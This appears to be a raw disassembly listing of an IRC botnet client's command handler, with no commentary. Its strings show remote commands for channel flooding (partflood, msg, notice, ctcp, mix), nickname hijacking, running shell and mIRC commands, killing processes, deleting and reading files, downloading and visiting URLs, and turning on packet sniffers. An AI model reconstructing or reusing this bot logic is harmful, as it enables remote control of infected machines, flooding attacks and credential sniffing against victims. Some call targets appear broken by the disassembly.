		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_430E3C
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CFD
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_404CFD:				; CODE XREF: sub_401ACD+31B9j
					; sub_401ACD+31BFj ...
		push	[ebp+arg_10]
		push	offset dword_430E38
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D69
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D69
		push	offset asc_43233C ; " "
		push	offset dword_430E34
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_50F4]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_50F4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_430E24
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404D69:				; CODE XREF: sub_401ACD+3241j
					; sub_401ACD+324Cj
		push	[ebp+arg_10]
		push	offset dword_430E20
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DD5
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DD5
		push	offset asc_43233C ; " "
		push	offset dword_430E34
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4BF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4BF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_430E0C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404DD5:				; CODE XREF: sub_401ACD+32ADj
					; sub_401ACD+32B8j
		push	[ebp+arg_10]
		push	offset aNt	; "nt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E41
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E41
		push	offset asc_43233C ; " "
		push	offset dword_430E34
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_46EC]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_46EC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404E41:				; CODE XREF: sub_401ACD+3319j
					; sub_401ACD+3324j
		push	[ebp+arg_10]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EAD
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404EAD
		push	offset asc_43233C ; " "
		push	offset dword_430E34
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4DF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4DF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404EAD:				; CODE XREF: sub_401ACD+3385j
					; sub_401ACD+3390j
		push	[ebp+arg_10]
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EEC
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404EEC
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_404EEC:				; CODE XREF: sub_401ACD+33F1j
					; sub_401ACD+33FCj
		push	[ebp+arg_10]
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F2B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F2B
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_404F2B:				; CODE XREF: sub_401ACD+3430j
					; sub_401ACD+343Bj
		push	[ebp+arg_10]
		push	offset aPartflood ; "partflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F6F
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F6F
		push	offset aCyber	; "CYBER"
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404F6F:				; CODE XREF: sub_401ACD+346Fj
					; sub_401ACD+347Aj
		push	[ebp+arg_10]
		push	offset aPnick	; "pnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FE8
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404FE8
		nop
		call	near ptr 26907CFh
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_430DA4
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_17B4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_430D9C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_404FE8:				; CODE XREF: sub_401ACD+34B3j
					; sub_401ACD+34BCj
		push	[ebp+arg_10]
		push	offset dword_430D90
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405135
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405135
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405135:				; CODE XREF: sub_401ACD+352Cj
					; sub_401ACD+3539j
		push	[ebp+arg_10]
		push	offset dword_430D8C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4051CF
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_4051CF
		nop
		call	near ptr 26907CFh
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_430D64
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 24h

loc_4051CF:				; CODE XREF: sub_401ACD+3679j
					; sub_401ACD+3686j
		push	[ebp+arg_10]
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4052D1
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_4052D1
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_430D9C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_430D9C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_430D9C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_4052D1:				; CODE XREF: sub_401ACD+3713j
					; sub_401ACD+3722j
		push	[ebp+arg_10]
		push	offset aChgnick	; "chgnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405318
		lea	eax, [ebp+var_1808]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_1808]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_430D9C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_405318:				; CODE XREF: sub_401ACD+3815j
		push	[ebp+arg_10]
		push	offset aMsg	; "msg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405407
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405407
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset dword_430E24
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_430E24
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_430E24
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405407:				; CODE XREF: sub_401ACD+385Cj
					; sub_401ACD+3869j
		push	[ebp+arg_10]
		push	offset aNotice_0 ; "notice"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054F6
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054F6
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_4054F6:				; CODE XREF: sub_401ACD+394Bj
					; sub_401ACD+3958j
		push	[ebp+arg_10]
		push	offset aCtcp	; "ctcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40560D
		cmp	[ebp+esi+var_88], ebx
		jz	loc_40560D
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_430D1C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_430D04
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_430CEC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_430CEC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_40560D:				; CODE XREF: sub_401ACD+3A3Aj
					; sub_401ACD+3A47j
		push	[ebp+arg_10]
		push	offset aMix	; "mix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405733
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405733
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_430D1C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405733:				; CODE XREF: sub_401ACD+3B51j
					; sub_401ACD+3B5Ej
		push	[ebp+arg_10]
		push	offset aRegister ; "register"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405779
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_405779
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405779:				; CODE XREF: sub_401ACD+3C77j
					; sub_401ACD+3C82j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4062C3
		mov	edi, offset dword_4D98BC

loc_405795:				; CODE XREF: sub_401ACD+3CE7j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4057A8
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4057A8
		push	eax
		call	dword_4D08BC

loc_4057A8:				; CODE XREF: sub_401ACD+3CCCj
					; sub_401ACD+3CD2j
		add	edi, 210h
		cmp	edi, offset dword_4DFFDC
		jl	short loc_405795
		cmp	[ebp+var_8], ebx
		jnz	loc_4062C3
		push	ebx
		push	[ebp+var_4]
		push	offset unk_430C8C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4062C3
; ---------------------------------------------------------------------------

loc_4057DE:				; CODE XREF: sub_401ACD+3195j
		mov	edi, [ebp+arg_8]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aN	; "n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aJ	; "j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aPt	; "pt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aRaw	; "raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aK	; "k"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aPr	; "pr"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aOpen	; "open"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aO	; "o"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aServer	; "server"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aSe	; "se"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aDns	; "dns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aDn	; "dn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKp	; "kp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKill	; "kill"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aKi	; "ki"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aDel	; "del"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aGet	; "get"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aGt	; "gt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aList	; "list"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aLi	; "li"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aVisit	; "visit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aV	; "v"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aCm	; "cm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aRf	; "rf"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aPsniff	; "psniff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C7B
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C41
		push	20h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405B6B
		push	offset dword_430BA4
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405B6B:				; CODE XREF: sub_401ACD+4092j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E3C], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E38], eax
		jnz	short loc_405BAD
		mov	esi, offset loc_429158
		push	offset dword_4429D8
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BAD
		mov	esi, [ebp+var_88]

loc_405BAD:				; CODE XREF: sub_401ACD+40C2j
					; sub_401ACD+40D8j
		push	esi
		lea	eax, [ebp+var_EC0]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_430B74
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_E40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC4]
		push	ebx
		push	eax
		push	offset byte_411FD5
		push	ebx
		push	ebx
		nop
		call	near ptr 2680053h
		mov	ecx, [ebp+var_E40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_405C30

loc_405C1A:				; CODE XREF: sub_401ACD+4161j
		cmp	[ebp+var_E34], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_405C1A
; ---------------------------------------------------------------------------

loc_405C30:				; CODE XREF: sub_401ACD+414Bj
		nop
		call	near ptr 268086Bh
		push	eax
		push	offset dword_430B38
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405C41:				; CODE XREF: sub_401ACD+4082j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	20h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C71
		push	eax
		push	offset dword_430AFC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405C71:				; CODE XREF: sub_401ACD+4197j
		push	offset dword_430AD0
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405C7B:				; CODE XREF: sub_401ACD+406Bj
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DCD
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405D93
		push	21h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405CBD
		push	offset unk_430AA8
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405CBD:				; CODE XREF: sub_401ACD+41E4j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_FEC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F64], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_F60], eax
		jnz	short loc_405CFF
		mov	esi, offset loc_429158
		push	offset dword_4429D8
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405CFF
		mov	esi, [ebp+var_88]

loc_405CFF:				; CODE XREF: sub_401ACD+4214j
					; sub_401ACD+422Aj
		push	esi
		lea	eax, [ebp+var_FE8]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_430A78
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_F68], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FEC]
		push	ebx
		push	eax
		push	offset sub_412660
		push	ebx
		push	ebx
		call	near ptr 2680053h
		nop
